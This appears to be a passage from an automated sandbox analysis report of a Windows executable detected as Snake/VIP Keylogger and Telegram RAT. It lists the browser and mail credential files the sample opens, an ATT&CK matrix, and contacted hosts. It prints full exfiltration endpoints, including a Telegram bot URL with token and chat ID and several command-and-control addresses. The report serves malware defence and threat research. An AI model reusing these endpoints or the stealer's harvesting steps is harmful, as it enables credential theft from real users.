Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	API call chain: ExitProcess graph end node			graph_0-4192
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	API call chain: ExitProcess graph end node			graph_0-4189

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_00403C49 GetTempPathW,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,LdrInitializeThunk,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,ShowWindow,GetClassInfoW,GetClassInfoW,GetClassInfoW,RegisterClassW,DialogBoxParamW,LdrInitializeThunk,LdrInitializeThunk,

0_2_00403C49

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_6E9B1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E9B1BFF

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Process created: C:\Users\user\Desktop\ZoRLXzC5qF.exe "C:\Users\user\Desktop\ZoRLXzC5qF.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Users\user\Desktop\ZoRLXzC5qF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403552

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZoRLXzC5qF.exe PID: 3760, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: ZoRLXzC5qF.exe PID: 3760, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZoRLXzC5qF.exe PID: 3760, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZoRLXzC5qF.exe	47%	ReversingLabs	Win32.Spyware.Snakekeylogger
ZoRLXzC5qF.exe	65%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.78	true	false	high
drive.usercontent.google.com	142.250.185.65	true	false	high
reallyfreegeoip.org	104.21.16.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2011/01/2025%20/%2007:38:53%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767942457&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036D10000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/a	ZoRLXzC5qF.exe, 00000003.00000003.1984343811.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036D1A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	ZoRLXzC5qF.exe, 00000003.00000003.1984343811.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	ZoRLXzC5qF.exe	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20a	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006508000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CE9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BEB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BA6000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BEB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B7C000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://api.telegram.org	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B7C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.78	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.16.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588557
Start date and time:	2025-01-11 02:21:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZoRLXzC5qF.exe renamed because original name is a hash value
Original Sample Name:	fc6fb69c921c1d6b3057cfd5658ef095e00f9fa125fe8675c653fa6ce38e118f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 187 Number of non-executed functions: 149
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:23:29	API Interceptor	98832x Sleep call for process: ZoRLXzC5qF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse
104.21.16.1	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	www.kkpmoneysocial.top/86am/
104.21.16.1	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php
193.122.6.168	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
reallyfreegeoip.org	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
api.telegram.org	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
